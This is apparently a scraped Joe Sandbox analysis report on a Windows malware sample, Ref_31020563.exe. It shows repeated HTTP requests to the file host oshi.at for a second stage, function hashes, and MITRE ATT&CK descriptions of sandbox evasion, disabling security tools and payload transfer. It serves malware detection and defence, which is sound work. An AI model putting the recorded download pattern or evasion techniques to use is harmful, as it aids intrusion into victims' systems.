2024-12-10 15:30:19 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.8	49776	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:30:21 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:30:22 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:30:22 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:30:22 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.8	49777	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:30:24 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:30:25 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:30:25 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:30:25 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.8	49778	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:30:27 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:30:28 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:30:28 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:30:28 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.8	49779	194.15.112.248	443	7572	C:\Users\user\Desktop\Ref_31020563.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 15:30:30 UTC	37	OUT	GET /AQBP HTTP/1.1 Host: oshi.at
2024-12-10 15:30:31 UTC	158	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 10 Dec 2024 15:30:31 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 1849 Connection: close
2024-12-10 15:30:31 UTC	1849	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 63 75 72 65 20 66 69 6c 65 20 73 68 61 72 69 6e 67 2e 20 45 6e 63 72 79 70 74 65 64 20 73 65 72 76 65 72 2e 20 4e 6f 20 6c 6f 67 73 2e 20 54 43 50 20 61 6e 64 20 43 75 72 6c 20 75 70 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Secure file sharing. Encrypted server. No logs. TCP and Curl up

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

System Behavior

Analysis Process: Ref_31020563.exePID: 7572, Parent PID: 4084

General

Target ID:	0
Start time:	10:27:22
Start date:	10/12/2024
Path:	C:\Users\user\Desktop\Ref_31020563.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Ref_31020563.exe"
Imagebase:	0x9c0000
File size:	180'704 bytes
MD5 hash:	7C8431A3C14296CFF7381CC69B61BAD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: Ref_31020563.exePID: 7572, Parent PID: 4084COMMON

Executed Functions

Function 012208F9 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3283381318.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1220000_Ref_31020563.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 854a87a495db8338249868d9f1c454a1ccd6f570e07219c5dbd63aa85b9d7ce6
Instruction ID: 5e9ade7e235983cc5bc8d0939ba2faaa2fff3e00ae7c423c1a1b02acaa1aebe4
Opcode Fuzzy Hash: 854a87a495db8338249868d9f1c454a1ccd6f570e07219c5dbd63aa85b9d7ce6
Instruction Fuzzy Hash: 1D216B30B101189FDB04DB78C958BADBBF2AF8C700F158469E406AB3A1CB719D45CBA4

Function 01220908 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3283381318.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1220000_Ref_31020563.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16ed8a601d9e111f3621987c1028289ba6f32058890ec9d5f0c34ad0075ebb59
Instruction ID: c3e0c604aa920d474cd050829b80e3c88fd094f5902e308e5beab4bcd66750ab
Opcode Fuzzy Hash: 16ed8a601d9e111f3621987c1028289ba6f32058890ec9d5f0c34ad0075ebb59
Instruction Fuzzy Hash: B9213A31B10129DFDB04EB69C558BAD7BF2AF8C700F218469E506BB3A0DB759C40CBA4

Function 0122085F Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3283381318.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1220000_Ref_31020563.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c9166faffa4b30cb0adff4fcc4c67f02ea30026c5ce643781cd4e131b60c881
Instruction ID: 0bd3525f75639070ef135841f52f1344a94f23ebf40175416a65af0af5d31e52
Opcode Fuzzy Hash: 6c9166faffa4b30cb0adff4fcc4c67f02ea30026c5ce643781cd4e131b60c881
Instruction Fuzzy Hash: 91F0F6357082548FC704CBB8E854A6E3FB1BFCA610B2505FAE545CB3A2DB61CC01C7A1

Function 01220870 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3283381318.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1220000_Ref_31020563.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df5fe0cb2d32c86b1aee34fc5dc066b4d0673b0b393160ca5040e73173071897
Instruction ID: 1814a14e61ed72678744e92eab7efca2c0431e80e406486ea7be311e94c4d29f
Opcode Fuzzy Hash: df5fe0cb2d32c86b1aee34fc5dc066b4d0673b0b393160ca5040e73173071897
Instruction Fuzzy Hash: 03F037357002149FC714DB79E844E6A3BE6FBCD765B2104A5F505CB365DE71DC0187A1

Function 012208C9 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3283381318.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1220000_Ref_31020563.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b292a690ab80423c16f48877096ed54381c5260df00b9d67a22e5b2d4398b254
Instruction ID: 1a6bd83c04d5985de9b39f3534ba2a56fc74463c2ec8e61c9ba1bde4989c5fc8
Opcode Fuzzy Hash: b292a690ab80423c16f48877096ed54381c5260df00b9d67a22e5b2d4398b254
Instruction Fuzzy Hash: E7D097347450904FCB028778EC04A983BBAAF8A200B0001F6E40ACB3B3CA60CC038B81

Function 01220848 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3283381318.0000000001220000.00000040.00000800.00020000.00000000.sdmp, Offset: 01220000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1220000_Ref_31020563.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c80da1ce97b45787cec56f1ca4a017a2391139382f6c59e0bf2f507f99851be
Instruction ID: 672688eb049a17aa154b109089517aed7b25a533f661ac89c5a8824f46af6fcf
Opcode Fuzzy Hash: 0c80da1ce97b45787cec56f1ca4a017a2391139382f6c59e0bf2f507f99851be
Instruction Fuzzy Hash: D4B0121540F1C507CB0281E00C302D86F712CC15103AF06FEC8E08328BD65C5025F342

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Ref_31020563.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Windows Analysis Report
Ref_31020563.exe